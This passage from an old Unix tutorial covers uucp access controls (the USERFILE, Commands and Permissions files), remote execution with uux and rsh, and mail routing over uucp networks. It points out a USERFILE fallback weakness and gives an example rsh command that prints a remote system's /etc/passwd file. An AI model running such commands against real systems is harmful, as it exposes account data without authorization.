system that doesn't have an entry in the USERFILE requests a transfer with the
|
|
local system, when the USERFILE is scanned for an entry with a null system
|
|
name, if the entries for the local users come first in the USERFILE, the system
|
|
will use the first entry for a local user it finds, since it has a null system
|
|
name in the system name field. Note, that none of these security features even
|
|
works if the uucp account on the system the transfer is requested with does not
|
|
use the uucico shell. In any case, whether the account uses the uucico shell or
|
|
not, even if you have copy access to a directory, individual file or directory
|
|
protections may prevent the copying. For information on uucp security in yet
|
|
another version of the uucp facilities, see the piece on the Permissions file
|
|
in the section on uux security.
|
|
|
|
Executing Commands on a Remote System
|
|
-------------------------------------
|
|
There are 2 commands for executing commands on a remote system- uux and rsh
|
|
(remote shell- this has nothing to do with the rsh shell [restricted Bourne
|
|
shell]). This section will cover the uses of both.
|
|
|
|
UUX
|
|
---
|
|
The uux command is one of the uucp utilities. This is used, not for file
|
|
transfers, but for executing non-interactive commands on a remote system.
|
|
By non-interactive, I mean commands that don't request input from the user, but
|
|
are executed immediately when issued, such as rm and cp. The format is:
|
|
|
|
uux remote!command line
|
|
|
|
Where remote is the name of the remote system to perform the command on, and
|
|
the rest (command line) is the command to be performed, and any arguments to
|
|
the command. You will not receive any of the commnand's output, so this command
|
|
can't be used for, say, printing the contents of a text file to your screen.
|
|
|
|
UUX Security
|
|
------------
|
|
If the uucp account on the remote system uses the uucico shell, then
|
|
these security features apply to it.
|
|
|
|
The file /usr/lib/uucp/Commands file contains a list of the commands a
|
|
remote system can execute on the system. By remote system, in this case, I mean
|
|
the system that the user who initiates the uux command is on, and local system
|
|
will mean the system that receives the uux request. Entries in the file
|
|
/usr/lib/uucp/Commands are in the following format:
|
|
|
|
PATH=[pathname]
|
|
command
|
|
command
|
|
" to infinity...
|
|
command,system
|
|
|
|
The first line, PATH=[pathname], sets the searchpath for the remote system
|
|
requesting the uux execution of a command on the local system. This entry is
|
|
just the same as, say, a line in a login file that sets the searchpath for a
|
|
regular account, example: PATH=/bin:/usr/bin
|
|
Which sets the searchpath to search first the directory /bin, and the the
|
|
directory /usr/bin when a command is issued. The following entries are the base
|
|
names of the programs/commands that the remote can execute on the local system.
|
|
The last program/command in this list is followed by a comma and the name of
|
|
the remote site. For example:
|
|
|
|
PATH=/bin
|
|
rmail
|
|
lp,bluehawaii
|
|
|
|
Means that the remote system Bluehawaii can execute the rmail and lp commands on
|
|
the
|
|
local system. Usually, only the lp and rmail commands will be allowed.
|
|
Again, we come to another, "different" version of the uucp facilities. On some
|
|
systems, the commands a remote system can execute on the local system are
|
|
contained in the file /usr/lib/uucp/Permissions. Entries in this file are
|
|
in the form:
|
|
|
|
MACHINE=[remote] COMMANDS=[commands] REQUEST=[yes/no] SEND=[yes/no] READ=
|
|
[directories] WRITE=[directories]
|
|
|
|
Where:
|
|
|
|
Remote is the name of the remote system. Commands is a list of the commands
|
|
the remote may execute on the local system, in the form:
|
|
pathname:pathname
|
|
|
|
For example:
|
|
|
|
/bin/rmail:/usr/bin/netnews
|
|
|
|
The yes (or no) aft er "REQUEST=" tells whether or not the remote can copy
|
|
files from the local system. The yes/no after "SEND=" tells whether or not the
|
|
remote system can send files to the local system. The list of directories after
|
|
"READ=" tells which directories the remote can copy files from (provided that
|
|
it has REQUEST privileges), and is in the form:
|
|
|
|
pathname:pathname...etc.
|
|
|
|
For example:
|
|
|
|
/usr/spool/uucppublic:/usr/lib/uucp
|
|
|
|
Again, as before, the remote has copy access to any directories that are below
|
|
the directories in the list in the system tree. The list of directories after
|
|
"WRITE=" is in the same form as the list of directories after "READ=", and is a
|
|
list of the directories that the remote can copy files TO on the local system.
|
|
|
|
RSH
|
|
---
|
|
This is a new feature which I have seen on a few systems. This is not, to the
|
|
best of my knowledge, a System V feature, but a package available for 3rd party
|
|
software vendors. If the rsh command is featured on a system, the restricted
|
|
(rsh) Bourne shell will be renamed rshell. Rsh stands for remote shell, and is
|
|
for the execution of any command, interactive or otherwise, on a remote system.
|
|
The command is executed realtime, and the output from the command will be sent to
|
|
your display. Any keys you press while this command is being executed will be
|
|
sent to the remote system, including breaks and interrupts. The format is:
|
|
|
|
rsh [system] command line
|
|
|
|
For example:
|
|
|
|
rsh bluehawaii cat /etc/passwd
|
|
|
|
Will print out the /etc/passwd file of the Bluehawaii system on your screen. To
|
|
the
|
|
best of my knowledge, the only security features of the rsh command are the
|
|
individual file and directory protections of the remote system.
|
|
|
|
UUNAME and UUSTAT
|
|
-----------------
|
|
These are 2 commands which are for use by users to show the state of the local
|
|
system's uucp facilities. Uuname gives a list of all the system names in the
|
|
Systems (L.sys) file, and uustat gives a list of all pending uucp/uux jobs.
|
|
|
|
Network Mail
|
|
------------
|
|
There are several different ways of sending mail to users on other systems.
|
|
First of all, using the uucp and uux commands. Simply edit a text file containing
|
|
the message you wish to send, and uucp a copy of it to the remote system. Then
|
|
send it to the target user on that system using the uux command:
|
|
|
|
uux system!rmail [username] < [pathname]
|
|
|
|
Where system is the name of the system the target user is on, username is the
|
|
name of the user you wish to send the mail to, and pathname is the pathname of
|
|
the text file you sent to the remote system. This method works by executing the
|
|
rmail command (Receive Mail), the syntax of which is "rmail [user]", and
|
|
redirecting its input from the file you sent to the remote. This method will
|
|
only work if the remote allows users from your local system to execut the rmail
|
|
command.
|
|
The second method is for systems which feature the remote shell (rsh) command.
|
|
If the remote system can be contacted by your local system via rsh, type:
|
|
|
|
rsh system!mail [user]
|
|
|
|
And once connected, enter your message as normal.
|
|
This last method is the method of sending mail over uucp networks. This method
|
|
is the one employed by USENET and other large uucp networks, as well as many
|
|
smaller and/or private networks. This method uses the simple mail command:
|
|
|
|
mail system!system!system![and so on to infinity]!system@user
|
|
|
|
Where:
|
|
The list of systems is the routing to the target system, and user is the mail
|
|
recipient on the target system. The routing takes a bit of explanation. Imagine
|
|
something a uucp network with connections like this:
|
|
|
|
unix1
|
|
|
|
|
-------------------
|
|
| |
|
|
unix2 unix3
|
|
| |
|
|
unix4-------------unix5
|
|
|
|
This network map shows what systems are on the network, and which systems have
|
|
entries for which other systems in its Systems (L.sys) file. In this example:
|
|
|
|
Unix1 has entries for unix2 and unix3.
|
|
Unix2 has entries for unix1 and unix4.
|
|
Unix3 has entries for unix1 and unix5.
|
|
Unix4 has entries for unix2 and unix5.
|
|
Unix5 has entries for unix3 and unix4.
|
|
|
|
Now to explain the routing. If unix1 wanted to reach unix5, it couldn't do so
|
|
directly, since it has no means of reaching it (no entry for it in its Systems
|
|
file). So, it would "forward" the mail through a series of other systems. For
|
|
example, to send mail to the user root on unix5, any of these routings could be
|
|
used:
|
|
|
|
unix3!unix5@root
|
|
unix2!unix4!unix5@root
|
|
|
|
Obviously, the first routing would be the shortest and quickest. So, to mail a
|
|
message from unix1 to the root user on unix5, you would type:
|
|
|
|
mail unix3!unix5@root
|
|
|
|
Then type in your message and press control-D when finished, and the uucp
|
|
facilities will deliver your mail.
|
|
|
|
------------
|
|
Corrections:
|
|
I incorrectly listed in one section that chown was the command to change file
|
|
protections.
|
|
The correct command is chmod.
|